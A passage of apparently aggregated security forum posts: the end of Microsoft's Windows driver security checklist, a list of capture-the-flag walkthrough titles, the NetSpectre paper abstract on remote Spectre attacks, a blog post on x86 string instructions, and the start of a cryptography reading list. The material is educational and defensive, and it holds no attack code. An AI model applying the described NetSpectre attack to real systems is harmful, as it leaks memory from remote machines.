increased. In this summary diagram, the risk increases as you allow lower privilege SIDs access to your driver functionality. SY (System) \/ BA (Built-in Administrators) \/ LS (Local Service) \/ BU (Built-in User) \/ AC (Application Container) Following the general least privilege security principle, configure only the minimum level of access that is required for your driver to function. WDM Granular IOCTL security control To further manage security when IOCTLs are sent by user-mode callers, the driver code can include the IoValidateDeviceIoControlAccess function. This function allows a driver to check access rights. Upon receiving an IOCTL, a driver can call IoValidateDeviceIoControlAccess, specifying FILE_READ_ACCESS, FILE_WRITE_ACCESS, or both. Implementing granular IOCTL security control does not replace the need to manage driver access using the techniques discussed above. For more information, see the following articles: Defining I/O Control Codes Validate Device Guard compatibility Security checklist item #8: Validate that your driver uses memory so that it is Device Guard compatible. Memory usage and Device Guard compatibility Device Guard uses hardware technology and virtualization to isolate the Code Integrity (CI) decision-making function from the rest of the operating system. When using virtualization-based security to isolate CI, the only way kernel memory can become executable is through a CI verification. This means that kernel memory pages can never be Writable and Executable (W+X) and executable code cannot be directly modified. To implement Device Guard compatible code, make sure your driver code does the following: Opts in to NX by default Uses NX APIs/flags for memory allocation (NonPagedPoolNx) Does not use sections that are both writable and executable Does not attempt to directly modify executable system memory Does not use dynamic code in kernel Does not load data files as executable Section alignment is a multiple of 0x1000 (PAGE_SIZE). E.g. DRIVER_ALIGNMENT=0x1000 For more information about using the tool and a list of incompatible memory calls, see Use the Device Guard Readiness Tool to evaluate HVCI driver compatibility. For general information about Device Guard, see Windows 10 Device Guard and Credential Guard Demystified and Device Guard deployment guide. For more information about the related device fundamentals test, see Device.DevFund.DeviceGuard. Follow technology-specific code best practices Security checklist item #9: Review the following technology-specific guidance for your driver. File Systems For more information, about file system driver security see the following articles: Security Considerations for File Systems File System Security Issues Security Features for File Systems Security Considerations for File System Filter Drivers NDIS - Networking For information about NDIS driver security, see Security Issues for Network Drivers. Display For information about display driver security, see <Content Pending>. Printers For information related to printer driver security, see V4 Printer Driver Security Considerations. Security Issues for Windows Image Acquisition (WIA) Drivers For information about WIA security, see Security Issues for Windows Image Acquisition (WIA) Drivers. Enhance device installation security Security checklist item #10: Review driver inf creation and installation guidance to make sure you are following best practices. When you create the code that installs your driver, you must make sure that the installation of your device will always be performed in a secure manner. A secure device installation is one that does the following: Limits access to the device and its device interface classes Limits access to the driver services that were created for the device Protects driver files from modification or deletion Limits access to the device's registry entries Limits access to the device's WMI classes Uses SetupAPI functions correctly For more information, see the following articles: Creating Secure Device Installations Guidelines for Using SetupAPI Using Device Installation Functions Device and Driver Installation Advanced Topics Perform peer code review Security checklist item #11: Perform peer code review, to look for issues not surfaced by the other tools and processes Seek out knowledgeable code reviewers to look for issues that you may have missed. A second set of eyes will often see issues that you may have overlooked. If you don't have suitable staff to review you code internally, consider engaging outside help for this purpose. Execute proper release driver signing Security checklist item #12: Use the Windows partner portal to properly sign your driver for distribution. Before you release a driver package to the public, we recommend that you submit the package for certification. For more information, see Test for performance and compatibility, Get started with the Hardware program, Hardware Dashboard Services, and Attestation signing a kernel driver for public release. Use code analysis in Visual Studio to investigate driver security Security checklist item #13: Follow these steps to use the code analysis feature in Visual Studio to check for vulnerabilities in your driver code. Use the code analysis feature in Visual Studio to check for security vulnerabilities in your code. The Windows Driver Kit (WDK) installs rule sets that are designed to check for issues in native driver code. For more information, see How to run Code Analysis for drivers. For more information, see Code Analysis for drivers overview. For additional background on code analysis, see Visual Studio 2013 Static Code Analysis in depth. To become familiar with code analysis, you can use one of the sample drivers for example, the featured toaster sample, https://github.com/Microsoft/Windows-driver-samples/tree/master/general/toaster/toastDrv/kmdf/func/featured or the ELAM Early Launch Anti-Malware sample https://github.com/Microsoft/Windows-driver-samples/tree/master/security/elam. Open the driver solution in Visual Studio. In Visual Studio, for each project in the solution change the project properties to use the desired rule set. For example: Project >> Properties >> Code Analysis >> General, select Recommended driver rules. In addition to using the recommenced driver rules, use the Recommended native rules rule set. Select Build >> Run Code Analysis on Solution. View warnings in the Error List tab of the build output window in Visual Studio. Click on the description for each warning to see the problematic area in your code. Click on the linked warning code to see additional information. Determine whether your code needs to be changed, or whether an annotation needs to be added to allow the code analysis engine to properly follow the intent of your code. For more information on code annotation, see Using SAL Annotations to Reduce C/C++ Code Defects and SAL 2.0 Annotations for Windows Drivers. For general information on SAL, refer to this article available from OSR. https://www.osr.com/blog/2015/02/23/sal-annotations-dont-hate-im-beautiful/ Use Static Driver Verifier to check for vulnerabilities Security checklist item #14: Follow these steps to use Static Driver Verifier (SDV) in Visual Studio to check for vulnerabilities in your driver code. Static Driver Verifier (SDV) uses a set of interface rules and a model of the operating system to determine whether the driver interacts correctly with the Windows operating system. SDV finds defects in driver code that could point to potential bugs in drivers. For more information, see Introducing Static Driver Verifier and Static Driver Verifier. Note that only certain types of drivers are supported by SDV. For more information about the drivers that SDV can verify, see Supported Drivers. To become familiar with SDV, you can use one of the sample drivers (for example, the featured toaster sample: https://github.com/Microsoft/Windows-driver-samples/tree/master/general/toaster/toastDrv/kmdf/func/featured). Open the targeted driver solution in Visual Studio. In Visual Studio, change the build type to Release. Static Driver Verifier requires that the build type is release, not debug. In Visual Studio, select Build >> Build Solution. In Visual Studio, select Driver >> Launch Static Driver Verifier. In SDV, on the Rules tab, select Default under Rule Sets. Although the default rules find many common issues, consider running the more extensive All driver rules rule set as well. On the Main tab of SDV, click Start. When SDV is complete, review any warnings in the output. The Main tab displays the total number of defects found. Click on each warning to load the SDV Report Page and examine the information associated with the possible code vulnerability. Use the report to investigate the verification result and to identify paths in your driver that fail a SDV verification. For more information, see Static Driver Verifier Report. Check code with BinScope Binary Analyzer Security checklist item #15: Follow these steps to use BinScope to double check that compile and build options are configured to minimize known security issues. Use BinScope to examine application binary files to identify coding and building practices that can potentially render the application vulnerable to attack or to being used as an attack vector. For more information, see New Version of BinScope Binary Analyzer and the user and getting started guides that are included with the tool download as well as this BinScope Binary Analyzer TechNet Video. Follow these steps to validate that the security compile options are properly configured in the code that you are shipping: Download BinScope Analyzer and related documents from here: https://www.microsoft.com/download/details.aspx?id=44995. Review the BinScope Getting Started Guide that you downloaded. Use the MSI file to install BinScope on the target test machine that contains the compiled code you wish to validate. Open a command prompt window and execute the following command to examine a compiled driver binary. Update the path to point to your complied driver .sys file. C:\Program Files\Microsoft BinScope 2014>binscope "C:\Samples\KMDF_Echo_Driver\echo.sys" /verbose /html /logfile c:\mylog.htm Use a browser to review the BinScope report to confirm that all checks are marked (PASS). By default, the HTML report is written to \users\<username>\BinScope\ There are three categories that may be output into a log file: Failed checks [Fail] Checks that didn’t complete [Error] Passed checks [Pass] Note that passed checks are not written to the log by default and must be enabled by using the /verbose switch. Results for Microsoft BinScope 2014 run on MyPC at 2017-01-28T00:18:48.3828242Z Failed Checks No failed checks. Passed Checks • C:\Samples\KMDF_Echo_Driver\echo.sys - ATLVersionCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - ATLVulnCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - CompilerVersionCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - DBCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - DefaultGSCookieCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - ExecutableImportsCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - GSCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - GSFriendlyInitCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - GSFunctionSafeBuffersCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - HighEntropyVACheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - NXCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - RSA32Check (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - SafeSEHCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - SharedSectionCheck (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - VB6Check (PASS) • C:\Samples\KMDF_Echo_Driver\echo.sys - WXCheck (PASS) Checks Executed: • ATLVersionCheck • ATLVulnCheck • CompilerVersionCheck • DBCheck • DefaultGSCookieCheck • ExecutableImportsCheck • GSCheck • GSFriendlyInitCheck • GSFunctionSafeBuffersCheck • HighEntropyVACheck • NXCheck • RSA32Check • SafeSEHCheck • SharedSectionCheck • VB6Check • WXCheck All Scanned Items • C:\Samples\KMDF_Echo_Driver\echo.sys Use additional code validation tools Security checklist item #16: Use these additional tools to help validate that your code follows security recommendations and to probe for gaps that were missed in your development process. In addition to Visual Studio Code analysis, Static Driver Verifier, and Binscope discussed above, use the following tools to probe for gaps that were missed in your development process. Driver Verifier Driver Verifier allows for live testing of the driver. Driver Verifier monitors Windows kernel-mode drivers and graphics drivers to detect illegal function calls or actions that might corrupt the system. Driver Verifier can subject the Windows drivers to a variety of stresses and tests to find improper behavior. For more information, see Driver Verifier. Hardware compatibility program tests The hardware compatibility program includes security related tests can be used to look for code vulnerabilities. The Windows Hardware Compatibility Program leverages the tests in the Windows Hardware Lab Kit (HLK). The HLK Device Fundamentals tests can be used on the command line to exercise driver code and probe for weakness. For general information about the device fundamentals tests and the hardware compatibility program, see Hardware Compatibility Specifications for Windows 10, version 1607. The following tests are examples of tests that may be useful to check driver code for some behaviors associated with code vulnerabilities: Device driver must properly handle various user-mode, as well as kernel to kernel I/O, requests. For more information, see Device.DevFund.Reliability.BasicSecurity The Device Fundamentals Penetration tests perform various forms of input attacks, which are a critical component of security testing. Attack and Penetration testing can help identify vulnerabilities in software interfaces. Some basic fuzz testing, as well as the IoSpy and IoAttack utilities, are included. For more information, see Penetration Tests (Device Fundamentals) and How to Perform Fuzz Tests with IoSpy and IoAttack. The CHAOS (Concurrent Hardware and Operating System) tests run various PnP driver tests, device driver fuzz tests, and power system tests concurrently. For more information, see CHAOS Tests (Device Fundamentals). Device Path Exerciser runs as part of Device.DevFund.Reliability.BasicSecurity. For more information see Device.DevFund.Reliability. All driver pool allocations must be in NX pool. Using non-executable memory pools is inherently more secure than executable non-paged (NP) pools, and provides better protection against overflow attacks. For more information, see DevFund.Memory.NXPool. Use the Device.DevFund.DeviceGuard test, along with the other tools described in this article, to confirm that your driver is Device Guard compatible. Custom and domain-specific test tools Consider the development of custom domain-specific security tests. To develop additional tests, gather input from the original designers of the software, as well as unrelated development resources familiar with the specific type of driver being developed, and one or more people familiar with security intrusion analysis and prevention. Review debugger techniques and extensions Security checklist item #17: Review these debugger tools and consider their use in your development debugging workflow. !exploitable Crash Analyzer The !exploitable Crash Analyzer is a Windows debugger extensions that parses crash logs looking for unique issues. It also examines the type of crash and tries to determine whether the error is something that could be exploited by a malicious hacker. Microsoft Security Engineering Center (MSEC), created the !exploitable Crash Analyzer. You can download the from codeplex: http://msecdbg.codeplex.com/. For more information, see !Exploitable crash analyzer version 1.6 and the Channel 9 video !exploitable Crash Analyzer. Security related debugger commands The !acl extension formats and displays the contents of an access control list (ACL). For more information, see Determining the ACL of an Object and !acl. The !token extension displays a formatted view of a security token object. For more information, see !token. The !tokenfields extension displays the names and offsets of the fields within the access token object (the TOKEN structure). For more information, see !tokenfields. The !sid extension displays the security identifier (SID) at the specified address. For more information, see !sid. The !sd extension displays the security descriptor at the specified address. For more information, see !sd. Review secure coding resources Security checklist item #18: Review these resources to expand your understanding of the secure coding best practices that are applicable to driver developers. Review these resources to learn more about driver security Secure kernel-mode driver coding guidelines Creating Reliable Kernel-Mode Drivers Secure coding organizations Carnegie Mellon University SEI CERT Carnegie Mellon University SEI CERT C Coding Standard: Rules for Developing Safe, Reliable, and Secure Systems (2016 Edition) available as a PDF download. CERT - Build Security In MITRE - Weaknesses Addressed by the CERT C Secure Coding Standard Building Security In Maturity Model (BSIMM) - https://www.bsimm.com/ SAFECode - https://www.safecode.org/ OSR OSR provides driver development training and consulting services. These articles from the OSR newsletter highlight driver security issues. Names, Security Descriptors and Device Classes - Making Device Objects Accessible… and SAFE You've Gotta Use Protection -- Inside Driver & Device Security Locking Down Drivers - A Survey of Techniques Meltdown and Spectre: What about drivers? Books 24 deadly sins of software security : programming flaws and how to fix them by Michael Howard, David LeBlanc and John Viega The art of software security assessment : identifying and preventing software vulnerabilities, Mark Dowd, John McDonald and Justin Schuh Writing Secure Software Second Edition, Michael Howard and David LeBlanc The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities, Mark Dowd and John McDonald Secure Coding in C and C++ (SEI Series in Software Engineering) 2nd Edition, Robert C. Seacord Programming the Microsoft Windows Driver Model (2nd Edition), Walter Oney Developing Drivers with the Windows Driver Foundation (Developer Reference), Penny Orwick and Guy Smith Training Windows driver classroom training is available from vendors such as the following: OSR Winsider Azius Secure coding online training is available from a variety of sources. For example, this course is available from coursera: https://www.coursera.org/learn/software-security. SAFECode offers free training as well: SAFECode/training Professional Certification CERT offers a Secure Coding Professional Certification. Summary of key takeaways Driver security is a complex undertaking containing many elements, but here are a few key points to consider: Drivers live in the windows kernel, and having an issue when executing in kernel exposes the entire operating system. Because of this, pay close attention to driver security and design with security in mind. Apply the principle of least privilege: a. Use a strict SDDL string to restrict access to the driver b. Further restrict individual IOCTL’s Create a threat model to identify attack vectors and consider whether anything can be restricted further. Be careful with regard to embedded pointers being passed in from usermode. They need to be probed, accessed within try except, and they are prone to time of check time of use (ToCToU) issues unless the value of the buffer is captured and compared. If you're unsure, use METHOD_BUFFERED as an IOCTL buffering method. Use code scanning utilities to look for known code vulnerabilities and remediate any identified issues. Seek out knowledgeable code reviewers to look for issues that you may have missed. Use driver verifiers and test your driver with multiple inputs, including corner cases. Send comments about this article to Microsoft Sursa: https://docs.microsoft.com/en-us/windows-hardware/drivers/driversecurity/driver-security-checklist
-
Capture the Flag Challenges posted in CTF Challenges on November 12, 2016 by Raj Chandel Hack the Jarbas: 1 (CTF Challenge) OverTheWire – Bandit Walkthrough (14-21) Hack the Temple of Doom (CTF Challenge) Hack the Golden Eye:1 (CTF Challenge) Hack the FourAndSix (CTF Challenge) Hack the Blacklight: 1 (CTF Challenge) Hack the Basic Pentesting:2 VM (CTF Challenge) Hack the Billu Box2 VM (Boot to Root) Hack the Lin.Security VM (Boot to Root) Hack The Toppo:1 VM (CTF Challenge) Hack the Box Challenge: Ariekei Walkthrough Hack the Violator (CTF Challenge) OverTheWire – Bandit Walkthrough (1-14) Hack the Teuchter VM (CTF Challenge) Hack the Box Challenge: Enterprises Walkthrough Hack the Box Challenge: Falafel Walkthrough Hack the Box Challenge: Charon Walkthrough Hack the PinkyPalace VM (CTF Challenge) Hack the Box Challenge: Jail Walkthrough Hack the Box Challenge: Nibble Walkthrough Hack The Blackmarket VM (CTF Challenge) Hack the Box: October Walkthrough Hack The Box : Nineveh Walkthrough Hack The Gemini Inc (CTF Challenge) Hack The Vulnhub Pentester Lab: S2-052 Hack the Box Challenge: Sneaky Walkthrough Hack the Box Challenge: Chatterbox Walkthrough Hack the Box Challenge: Crimestoppers Walkthrough Hack the Box Challenge: Jeeves Walkthrough Hack the Trollcave VM (Boot to Root) Hack the Box Challenge: Fluxcapacitor Walkthrough Hack the Box Challenge: Tally Walkthrough Hack the Box Challenge: Inception Walkthrough Hack the Box Challenge Bashed Walkthrough Hack the Box Challenge Kotarak Walkthrough Hack the Box Challenge Lazy Walkthrough Hack the Box Challenge: Optimum Walkthrough Hack the Box Challenge: Brainfuck Walkthrough Hack the Box Challenge: Europa Walkthrough Hack the Box Challenge: Calamity Walkthrough Hack the Box Challenge: Shrek Walkthrough Hack the Box Challenge: Bank Walkthrough Hack the BSides Vancouver:2018 VM (Boot2Root Challenge) Hack the Box Challenge: Mantis Walkthrough Hack the Box Challenge: Shocker Walkthrough Hack the Box Challenge: Devel Walkthrough Hack the Box Challenge: Granny Walkthrough Hack the Box Challenge: Node Walkthrough Hack the Box Challenge: Haircut Walkthrough Hack the Box Challenge: Arctic Walkthrough Hack the Box Challenge: Tenten Walkthrough Hack the Box Challenge: Joker Walkthrough Hack the Box Challenge: Popcorn Walkthrough Hack the Box Challenge: Cronos Walkthrough Hack the Box Challenge: Beep Walkthrough Hack the Bob: 1.0.1 VM (CTF Challenge) Hack the Box Challenge: Legacy Walkthrough Hack the Box Challenge: Sense Walkthrough Hack the Box Challenge: Solid State Walkthrough Hack the Box Challenge: Apocalyst Walkthrough Hack the Box Challenge: Mirai Walkthrough Hack the Box Challenge: Grandpa Walkthrough Hack the Box Challenge: Blue Walkthrough Hack the Box Challenge: Lame Walkthrough Hack the Box Challenge: Blocky Walkthrough Hack the W1R3S.inc VM (CTF Challenge) Hack the Vulnupload VM (CTF Challenge) Hack the DerpNStink VM (CTF Challenge) Hack the Game of Thrones VM (CTF Challenge) Hack the C0m80 VM (Boot2root Challenge) Hack the Bsides London VM 2017(Boot2Root) Hack the USV: 2017 (CTF Challenge) Hack the Cyberry: 1 VM( Boot2Root Challenge) Hack the Basic Penetration VM (Boot2Root Challenge) Hack The Ether: EvilScience VM (CTF Challenge) Hack the Depth VM (CTF Challenge) Hack the G0rmint VM (CTF Challenge) Hack the Covfefe VM (CTF Challenge) Hack the Born2Root VM (CTF Challenge) Hack the dina VM (CTF Challenge) Hack the H.A.S.T.E. VM Challenge Hack the RickdiculouslyEasy VM (CTF Challenge) Hack the BTRSys1 VM (Boot2Root Challenge) Hack the BTRSys: v2.1 VM (Boot2Root Challenge) Hack the Bulldog VM (Boot2Root Challenge) Hack the Lazysysadmin VM (CTF Challenge) Hack the Zico2 VM (CTF Challenge) Hack the Primer VM (CTF Challenge) Hack the thewall VM (CTF Challenge) Hack the IMF VM (CTF Challenge) Hack the 6days VM (CTF Challenge) Hack the 64base VM (CTF Challenge) Hack the EW Skuzzy VM (CTF Challenge) Hack the Analougepond VM (CTF Challenge) Hack the Moria: 1.1 (CTF Challenge) Hack the DonkeyDocker (CTF Challenge) Hack the d0not5top VM (CTF Challenge) Hack the Super Mario (CTF Challenge) Hack the Defense Space VM (CTF Challenge) Hack the billu: b0x VM (Boot2root Challenge) Hack the Orcus VM CTF Challenge Hack the Nightmare VM (CTF Challenge) Hack the Bot challenge: Dexter (Boot2Root Challenge) Hack the Fartknocker VM (CTF Challenge) Hack the Pluck VM (CTF Challenge) Hack the Sedna VM (CTF Challenge) Hack the Quaoar VM (CTF Challenge) Hack the Gibson VM (CTF Challenge) Hack the Pipe VM (CTF Challenge) Hack the USV VM (CTF Challenge) Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection) Hack the Pentester Lab: from SQL injection to Shell VM Hack the Padding Oracle Lab Hack the Fortress VM (CTF Challenge) Hack the Zorz VM (CTF Challenge) Hack the Freshly VM (CTF Challenge) Hack the Hackday Albania VM (CTF Challenge) Hack the Necromancer VM (CTF Challenge) Hack the Billy Madison VM (CTF Challenge) Hack the Seattle VM (CTF Challenge) Hack the SkyDog Con CTF 2016 – Catch Me If You Can VM Hack Acid Reloaded VM (CTF Challenge) Hack the Breach 2.1 VM (CTF Challenge) Hack the Lord of the Root VM (CTF Challenge) Hack the Acid VM (CTF Challenge) Hack the SpyderSec VM (CTF Challenge) Hack the VulOS 2.0 VM (CTF Challenge) Hack the SickOS 1.1 VM (CTF Challenge) Hack the Fristileaks VM (CTF Challenge) Hack the NullByte VM (CTF Challenge) Hack the Minotaur VM (CTF Challenge) Hack the TommyBoy VM (CTF Challenge) Hack the Breach 1.0 VM (CTF Challenge) Hack the SkyDog VM (CTF Challenge) Hack the Milnet VM (CTF Challenge) Hack the Kevgir VM (CTF Challenge) Hack the Simple VM (CTF Challenge) Hack the SickOS 1.2 VM (CTF Challenge) Hack the Sidney VM (CTF Challenge) Hack the Stapler VM (CTF Challenge) Hack the Droopy VM (CTF Challenge) Hack the Mr. Robot VM (CTF Challenge) Penetration Testing in PwnLab (CTF Challenge) Hack the Skytower (CTF Challenge) Hack the Kioptrix 5 (CTF Challenge) Hack The Kioptrix Level-1.3 (Boot2Root Challenge) Hack the Kioptrix Level-1.2 (Boot2Root Challenge) Hack The Kioptrix Level-1.1 (Boot2Root Challenge) Hack The Kioptrix Level-1 Hack the Troll-1 VM (Boot to Root) Hack the Hackademic-RTB1 VM (Boot to Root) Hack the De-ICE: S1.120 VM (Boot to Root) Hack the pWnOS: 2.0 (Boot 2 Root Challenge) Hack the pWnOS-1.0 (Boot To Root) Sursa: http://www.hackingarticles.in/capture-flag-challenges/
-
- 3
-
-
Michael Schwarz Graz University of Technology Martin Schwarzl Graz University of Technology Moritz Lipp Graz University of Technology Daniel Gruss Graz University of Technology ABSTRACT Speculative execution is a crucial cornerstone to the performance of modern processors. During speculative execution, the processor may perform operations the program usually would not perform. While the architectural effects and results of such operations are discarded if the speculative execution is aborted, microarchitectural side effects may remain. The recently published Spectre attacks exploit these side effects to read memory contents of other programs. However, Spectre attacks require some form of local code execution on the target system. Hence, systems where an attacker cannot run any code at all were, until now, thought to be safe. In this paper, we present NetSpectre, a generic remote Spectre variant 1 attack. For this purpose, we demonstrate the first access- driven remote Evict+Reload cache attack over network, leaking 15 bits per hour. Beyond retrofitting existing attacks to a network scenario, we also demonstrate the first Spectre attack which does not use a cache covert channel. Instead, we present a novel high- performance AVX-based covert channel that we use in our cache- free Spectre attack. We show that in particular remote Spectre attacks perform significantly better with the AVX-based covert channel, leaking 60 bits per hour from the target system. We verified that our NetSpectre attacks work in local-area networks as well as between virtual machines in the Google cloud. NetSpectre marks a paradigm shift from local attacks, to remote attacks, exposing a much wider range and larger number of devices to Spectre attacks. Spectre attacks now must also be considered on devices which do not run any potentially attacker-controlled code at all. We show that especially in this remote scenario, attacks based on weaker gadgets which do not leak actual data, are still very powerful to break address-space layout randomization remotely. Several of the Spectre gadgets we discuss are more versatile than anticipated. In particular, value-thresholding is a technique we devise, which leaks a secret value without the typical bit selection mechanisms. We outline challenges for future research on Spectre attacks and Spectre mitigations Download: https://misc0110.net/web/files/netspectre.pdf
-
Ophir Harpaz Cybercrime researcher at Trusteer, IBM Security. Beginner reverse engineer. Author of https://begin.re. Jul 23 A Summary of x86 String Instructions I have never managed to memorize all of x86 Assembly’s string instructions — so I wrote a cheat sheet for myself. Then I thought other people may find it useful too, and so this cheat sheet is now a blog post. This is what you’ll find here: The logic behind x86 string instructions. All the information from (1) squeezed into a table. A real-life example. Let’s go. Note: in order to understand this post, basic knowledge in x86 Assembly is required. I do not explain what registers are, how a string is represented in memory, etc. The Logic The Prefix + Instruction Combo First, let’s make the distinction between string instructions (MOVS, LODS, STOS, CMPS, SCAS) and repetition prefixes (REP, REPE, REPNE, REPZ, REPNZ). Repetition prefixes are meaningful only when preceding string instructions. They cause the specified instruction to repeat as long as certain conditions are met. These prefixes are also responsible for updating the relevant pointers after each iteration by the proper number of bytes. The possible combinations of prefixes and instructions are described in the following figure. Possible combinations of repetition prefixes (dark blue) and string instructions (light blue). Note: I exclude the INS, OUTS string instructions as I have rarely seen them. Termination Conditions REP: repeat until ECX equals 0. REPE, REPZ: repeat until ECX equals 0 or as long as the zero flag is set. The two prefixes mean exactly the same. REPNE, REPNZ: repeat until ECX equals 0 or as long as the zero flag is unset. The two prefixes mean exactly the same. String Instructions The instruction’s first three letters tell us what it does. The “S” in all instructions stands for — how surprising — “String”. Each of these instructions is followed by a letter representing the size to operate on: ‘B’ for byte, ‘W’ for word (2 bytes) and ‘D’ for double-word (4 bytes). Some string instructions operate on two strings: the string pointed to by ESI register (source string) and the string pointed to by EDI register (destination string): MOV moves data from the source string to the destination string. CMP compares data between the source and destination strings (in x86, comparison is basically subtraction which affects the EFLAGS register). Strings pointed to by the ESI, EDI registers. Other string instructions operate on only one string: LOD loads data from the string pointed to by ESI into EAX¹. STO stores data from EAX¹ into the string pointed to by EDI. SCA scans the data in the string pointed to by EDI and compares it to EAX¹ (again, along with affecting EFLAGS). Notes: 1. I use EAX to refer to AL for byte operations, AX for word operations and EAX for double-word operations. 2. After each iteration, ESI and EDI are incremented if the direction flag is set, and decremented otherwise. REPE CMPSB for Trump’s Rescue. Cheat Sheet Cheat sheet for x86 Assembly’s string instructions. A Real-Life Example Lately, we started doing CTFs at work (Trusteer, IBM Security). I stumbled upon a crack-me challenge from reversing.kr which contained the following function. Try to think about what this function is while we reverse engineer it together. The function receives three arguments and puts the third (arg_8) in ECX. If arg_8 equals zero, the function returns. Otherwise, we prepare the other registers for a string instruction: the first argument, arg_0, is moved into EDI and EAX is set to zero. Now, we have a REPNE SCASB: The string pointed to by EDI is scanned and each character is compared to zero, held by AL. This happens until ECX equals zero or until a null-terminator is scanned. Practically speaking, this instruction aims at finding the length of the destination string. If ECX ends up being zero (meaning a null terminator was not encountered), then ECX simply receives its original value back — arg_8. Otherwise, if the loop terminates due to a null character, ECX is set to the destination string’s length (including the null character). In other words, ECX is set to Min{ECX, len(destination_string)}. Now EDI is set to arg_0 and ESI is set to arg_4, and we have REPE CMPSB: Each character pointed to by EDI is compared to the corresponding one pointed to by ESI. This happens until ECX equals zero (namely, the destination string has been fully consumed) or until the zero flag is unset (namely, until a difference between the strings is detected). Then, the last character in the EDI string is compared to the last character in the ESI string: If they are equal — the function returns zero (ECX XORed with itself). If the character in [ESI-1] has a higher ASCII value than the one in [EDI-1] — the function returns 0xffffffff, or -1. This happens when the source string is lexicographically bigger than the destination string. Otherwise, The function returns not 0xfffffffe, which is 1. I reverse-engineered the function at work and then went to a colleague to see how he was doing. To my surprise, his IDA recognized this function as strncmp. My version didn’t. Argh. strncmp displays a nice usage of string instructions which makes it a nice function for practice. In any case, now you know how strncmp is implemented. Assembly Language Reverse Engineering Cheatsheet C Programming Language Like what you read? Give Ophir Harpaz a round of applause. From a quick cheer to a standing ovation, clap to show how much you enjoyed this story. Ophir Harpaz Cybercrime researcher at Trusteer, IBM Security. Beginner reverse engineer. Author of https://begin.re. Sursa: https://medium.com/@ophirharpaz/a-summary-of-x86-string-instructions-87566a28c20c
-
- 1
-
-
Awesome Crypto Papers A curated list of cryptography papers, articles, tutorials and howtos for non-cryptographers. Notes The goal of this list is to provide educational reading material for different levels of cryptographic knowledge. I started it because my day job onboarding engineers at Cossack Labs includes educating them in cryptographic matters and giving advise what to read on specific topics, and that involves finding the same materials repeatedly. Hopefully, it will be useful for someone else as well. It is aimed at people who are using cryptography in higher-level security systems to implement database encryption, secure sharing, end-to-end encryption in various schemes, and should understand how it works, how it fails and how it is attacked. It is not a list of notable / important / historically important papers (although many of them are here). It is not aimed at academics (who have better grasp of what they need anyway), nor it is aimed for systematic study of wanna-be cryptographers (who better follow structured approach under professional guidance). It will be extended gradually as I find something of "must-have" value. Pull requests are very welcome. Contents Introducing people to data security and cryptography Simple: cryptography for non-engineers Brief engineer-oriented introductions Specific topics Hashing - important bits on modern and classic hashes. Secret key cryptography - all things symmetric encryption. Cryptoanalysis - attacking cryptosystems. Public key cryptography: General and DLP - RSA, DH and other classic techniques. Public key cryptography: Elliptic-curve crypto - ECC, with focus on pratcial cryptosystems. Zero Knowledge Proofs - Proofs of knowledge and other non-revealing cryptosystems. Math - useful math materials in cryptographic context. Post-quantum cryptography - Cryptography in post-quantum period. Books Lectures and educational courses Online crypto challenges The list Introducing people to data security and cryptography Simple: cryptography for non-engineers Nuts and Bolts of Encryption: A Primer for Policymakers. Keys under Doormats - Or why cryptography shouldn't be backdoored, by a all-star committee of crypto researches from around the world. Brief introductions An Overview of Cryptography - By Gary C. Kessler. Using Encryption for Authentication in Large Networks - By Needham, Schroeder: this is were crypto-based auth starts. Communication Theory of Secrecy Systems - Fundamental cryptography paper by Claude Shannon. General cryptographic interest Another Look at “Provable Security” - Inquiries into formalism and naive intuition behind security proofs, by Neal Koblitz et al. The security impact of a new cryptographic library - Introducory paper on NaCl, discussing important aspects of implementing cryptography and using it as a larger building block in security systems, by Daniel J. Bernstein, Tanja Lange, Peter Schwabe. Specific topics Hashing FIPS 198-1: HMACs - The Keyed-Hash Message Authentication Code FIPS document. FIPS 202: SHA3 - SHA-3 Standard: Permutation-Based Hash and Extendable-Output Functions. Birthday problem - The best simple explanation of math behind birthday attack. On the Security of HMAC and NMAC Based on HAVAL, MD4, MD5, SHA-0 and SHA-1 - Security analysis of different legacy HMAC schemes by Jongsung Kim et al. On the Security of Randomized CBC-MAC Beyond the Birthday Paradox Limit - Security of randomized CBC-MACs and a new construction that resists birthday paradox attacks and provably reaches full security, by E. Jaulmes et al. Secret key cryptography FIPS 197 - AES FIPS document. List of proposed operation modes of AES - Maintained by NIST. Recomendation for Block Cipher modes of operation: Methods and Techniques. Stick figure guide to AES - If stuff above was a bit hard or you're looking for a good laugh. Cache timing attacks on AES - Example of designing great practical attack on cipher implementation, by Daniel J. Bernstein. Cache Attacks and Countermeasures: the Case of AES - Side channel attacks on AES, another view, by Dag Arne Osvik, Adi Shamir and Eran Tromer. Salsa20 family of stream ciphers - Broad explanation of Salsa20 security cipher by Daniel J. Bernstein. New Features of Latin Dances: Analysis of Salsa, ChaCha, and Rumba - Analysis of Salsa20 family of ciphers, by Jean-Philippe Aumasson et al. ChaCha20-Poly1305 Cipher Suites for Transport Layer Security (TLS) - IETF Draft of ciphersuite family, by Adam Langley et al. AES submission document on Rijndael - Original Rijndael proposal by Joan Daemen and Vincent Rijmen. Ongoing Research Areas in Symmetric Cryptography - Overview of ongoing research in secret key crypto and hashes by ECRYPT Network of Excellence in Cryptology. The Galois/Counter Mode of Operation (GCM) - Original paper introducing GCM, by by David A. McGrew and John Viega. The Security and Performance of the Galois/Counter Mode (GCM) of Operation - Design, analysis and security of GCM, and, more specifically, AES GCM mode, by David A. McGrew and John Viega. Cryptoanalysis Differential Cryptanalysis of Salsa20/8 - A great example of stream cipher cryptoanalysis, by Yukiyasu Tsunoo et al. Slide Attacks on a Class of Hash Functions - Applying slide attacks (typical cryptoanalysis technique for block ciphers) to hash functions, M. Gorski et al. Self-Study Course 